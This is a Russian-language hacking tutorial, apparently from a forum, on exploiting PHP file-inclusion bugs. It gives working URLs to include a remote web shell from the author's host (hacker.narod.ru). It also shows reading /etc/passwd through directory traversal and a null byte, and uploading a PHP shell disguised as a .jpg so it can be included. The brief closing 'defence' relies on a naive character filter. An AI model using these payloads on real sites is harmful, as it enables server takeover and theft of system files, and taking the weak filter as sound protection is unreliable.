[php injection]

Пхп инъекция довольно распространённый баг, чтобы его Эксплуатировать, не обязательно быть мега гением!
ПОЕХАЛИ
Мы попали на страницу Типа:

wwwsite/index.php?url=santaclaus или wwwsite/index.php?url=santaclaus.php или wwwsite/index.php?url=santaclaus.htm итд
в коде есть Include ("$index.php");
Теперь пробуем забить вместо santaclaus что-нить другое. Например kutak

Код:
www.site/index.php?url=kutak

Результат бывает разный


Рассмотрим 4 варианта

[Первый вариант]

Код:
Warning: main(kutak): failed to open stream: No such file or directory in /var/www/site/index.php on line 27 
Warning: main(): Failed opening 'kutak' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/site/index.php on line 27

Тут всё без гемора(main(kutak) никакого расширения не приписывается) идём регаем себе сайт: Можно даже на народе(Главное, чтоб shell скрипт не выполнялся, либо убираем права у себя на хосте со скрипта, либо идём на narod.ru И регаем сайт там, там пхп скрипты не выполняются, так как не поддерживаются, если Shell скрипт имеет права на выполнение у вас на хосте, то ничего не выйдет )

Мы зарегали сайт

Код:
_www.hacker.narod.ru/shell.php

Идём обратно и вставляем наш шелл(Инклудим его)

Код:
http://.site/index.php?url=http://site/index.php?url=hacker.narod.ru/shell.php

Если появляется шелл, то всё прошло успешно... НО не факт что код выполнится нормально, иногда админы убирают права на выполнение и наш шелл имеет "NOBODY" Тут ничего не поделаешь, можно ходить по директориям, но ничего изменять, записывать нельзя. Если права на выполнение нормальные, заливаем себе нормальный шелл и не паримся с неудобствами, (А то когда шелл когда шелл блестает на фоне обычного дизайна сайта, нас как-то это бесит)
ТУТ ВСЁ ИДЁМ ДАЛЕЕ

[Второй вариант]

Мы ввели:

Код:
www.site/index.php?url=kutak

Нам выдало

Код:
Warning: main(kutak.php): failed to open stream: No such file or directory in /var/www/site/index.php on line 27 
Warning: main(): Failed opening 'kutak.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/site/index.php on line 27

МЫ видим, что расширение уже написано(kutak.php)
Давайте рассмотрим если мы пойдём так же как в первом случае

Код:
http://.site/index.php?url=http://site/index.php?url=hacker.narod.ru/shell.php
Код:
Warning: main(http://site/index.php?url=hacker.narod.ru/shell.php.php): failed to open stream: No such file or directory in /var/www/site/index.php on line 27 
Warning: main(): Failed opening 'http://site/index.php?url=hacker.narod.ru/shell.php.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/site/index.php on line 27

Мы видим (shell.php.php) расширение дописалось и поэтому ничего не вышло

А теперь как правильно

Код:
http://.site/index.php?url=http://site/index.php?url=http://hacker.narod.ru/shell

брали расширение, оно автоматом дописывается, и мы получаем шелл, дальше действуем как хотим.

                          [Третий вариант вариант]

Код:
<?
..
Include ("$index.html");
…
?>

Расширение html не даст вам толку, поэтому возможен только локальный инклуд

Код:
Warning: main(kutak.html): failed to open stream: No such file or directory in /var/www/site/index.php on line 27 
Warning: main(): Failed opening 'kutak.html' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/site/kutak.html on line 27

Итак, я остановился на локальном инклуде: Млжно смотреть файлы на сервере таким образом

Код:
www.site/index.php?url=/etc/passwd
www.site/index.php?url=../../../../../../../etc/passwd
или
www.site/index.php?url=../index.php
www.site/index.php?url=index.php

Если хотим видеть больше(не только html файлы) добавляем нулевой байт! %00 типа

www.site/index.php?url=/index.php%00

тогда мы сможем видеть и файлы c Другим расширением
Ну читаем мы файлы и шо дальше?

По идее ничего... Но если есть на сайте куда можно залить информацию, то даже много чего можно замутить... Например можно заливать куда нить фотографии и картинки (*.gif, *.jpg)
Заливаем фото только не своё(Ато будет ваше фото а под ним: ХАкер вася пытался взломать нас и залил своё фото на обозрение, шутка, к теме)!!!Мы заливаем файл Картинки с содержанием php шелла то есть обычный шелл только с расширением *.jpg, узнаем куда залилось
Далее его можно проинклудить пусть мы залили его в wwwsite/images/shell.jpg

Код:
www.site/index.php?url=/images/shell.jpg
или
www.site/index.php?url=../images/shell.jpg

У нас шелл в кармане!!! ДАлее делаем что хотим.
можно ещё локальным инклудом откопать и паролли, но это уже не для этой темы
[четвёртый вариант вариант]

Код:
<? 
.. 
Include ("$patch/papka/file.php"); 
… 
?>

Видим: Дописывается расширение php и перед ним стоит папка "papka"
Идём на свой сайт на народе создаём у себя папку: "papka" и заливаем туда наш file.php

Код:
http://hacker.narod.ru/papka/file.php

Теперь заряжаем тал:

Код:
www.site/index.php?url=http://hacker.narod.ru

Автоматически добавляется papka/file.php

Опять мы получаем шелл! ЕЕЕЕ

Это всё, что я хотел рассказать. По взлому, теперь защита.

Код:
<? 
.. 
if (file_exists("$page.php")) //(Если файл существует=>Инклудить) 
{ 
Include ("$page.php"); 
} 
Else //(Если нет => Шлём взломщика на куй) 
{ 
Echo "ERROR!"; 
} 
… 
?> 
ФИЛЬТР - НУ КАК ЖЕ БЕЗ НЕГО??
Код:
$index=str_replace("/","",$index); 
$index=str_replace(".","",$index); 
$index=str_replace(":","",$index); 
$index=str_replace("'","",$index); 
итд